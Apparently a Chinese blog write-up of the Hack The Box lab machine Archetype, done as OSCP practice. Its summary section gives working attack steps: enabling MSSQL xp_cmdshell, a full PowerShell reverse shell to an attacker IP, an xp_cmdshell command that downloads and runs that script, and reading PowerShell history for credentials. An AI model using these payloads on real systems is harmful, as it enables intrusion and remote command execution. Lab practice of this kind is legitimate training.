Hackthebox-Archetype

0x01 前言

挺久没接触技术,最近准备考 OSCP,就先拿 Hack The Box 里面的题目先练练手。

这个靶机是 Starting Point Lab 的机器 Archetype,收获还是挺多的,记录一下。

0x02 过程

拿到 ip 先上 nmap:

我刚开始扫的时候还没有 3389 这个端口,应该是 free 的共享靶机,大家都可以用的,穷啊~

看到 445 可以用 smb 工具来连接查看下有什么共享信息:

尝试了下面的共享只有 backups 这个 disk 可以进去,里面还有一个配置文件,直接 get 下来看看有什么:

看到了 mssql 的连接信息,应该就是对应 nmap 扫描出来的 1433 端口:

但这里出现了一个问题,靶机是共享的,1433 端口被搞坏了。。。:

剩下的具体可以看下这篇文章:https://medium.com/@dpgg/hackthebox-archetype-starting-point-391af7b10fea

0x03 总结

1、smbclient 命令

smbclient (选项)(参数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-B<ip 地址 & gt;:传送广播数据包时所用的 IP 地址;
-d< 排错层级 & gt;:指定记录文件所记载事件的详细程度;
-E:将信息送到标准错误输出设备;
-h:显示帮助;
-i< 范围 & gt;:设置 NetBIOS 名称范围;
-I<IP 地址 & gt;:指定服务器的 IP 地址;
-l< 记录文件 & gt;:指定记录文件的名称;
-L:显示服务器端所分享出来的所有资源;
-M<NetBIOS 名称 & gt;:可利用 WinPopup 协议,将信息送给选项中所指定的主机;
-n<NetBIOS 名称 & gt;:指定用户端所要使用的 NetBIOS 名称;
-N:不用询问密码;
-O< 连接槽选项 & gt;:设置用户端 TCP 连接槽的选项;
-p<TCP 连接端口 & gt;:指定服务器端 TCP 连接端口编号;
-R< 名称解析顺序 & gt;:设置 NetBIOS 名称解析的顺序;
-s< 目录 & gt;:指定 smb.conf 所在的目录;
-t< 服务器字码 & gt;:设置用何种字符码来解析服务器端的文件名称;
-T<tar 选项 & gt;:备份服务器端分享的全部文件,并打包成 tar 格式的文件;
-U< 用户名称 & gt;:指定用户名称;
-w< 工作群组 & gt;:指定工作群组名称。

连接服务器 smbclient //192.168.0.1/tmp -U username% password

2、mssql 开启 xp_cmdshell

1
2
3
4
5
6
EXEC sp_configure 'Show Advanced Options', 1;			\\ 使用 sp_configure 系统存储过程,设置服务器配置选项,将 Show Advanced Options 设置为 1 时,允许修改数据库的高级配置选项 
reconfigure; \\ 确认上面的操作
sp_configure; \\ 查看当前 sp_configure 配置情况
EXEC sp_configure 'xp_cmdshell', 1 \\ 使用 sp_configure 系存储过程,启用 xp_cmdshell 参数,来允许 SQL Server 调用操作系统命令
reconfigure; \\ 确认上面的操作
xp_cmdshell "whoami" \\ 在靶机上调用 cmdshell 执行 whoami

3、使用 mssql 的 xp_cmdshell 反弹 shell

建立一个 powershell 的反向 shell 文件 shell.ps1

1
2
$client = New-Object System.Net.Sockets.TCPClient ("10.10.14.33",443);$stream = $client.GetStream ();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read ($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString ($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes ($sendback2);$stream.Write ($sendbyte,0,$sendbyte.Length);$stream.Flush ()};$client.Close ()

使用 python 搭建一个迷你 http 服务器

1
2
python3 -m http.server 80
nc -nvvlp 443 // 监听

数据库执行命令:

1
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString (\"http://10.10.14.33/shell.ps1\");"

4、访问 PowerShell 历史记录文件

1
type C:\Users\username\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

5、使用 psexec

官方文档:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

也可以使用 Impacket 的 psexec.p y user@ip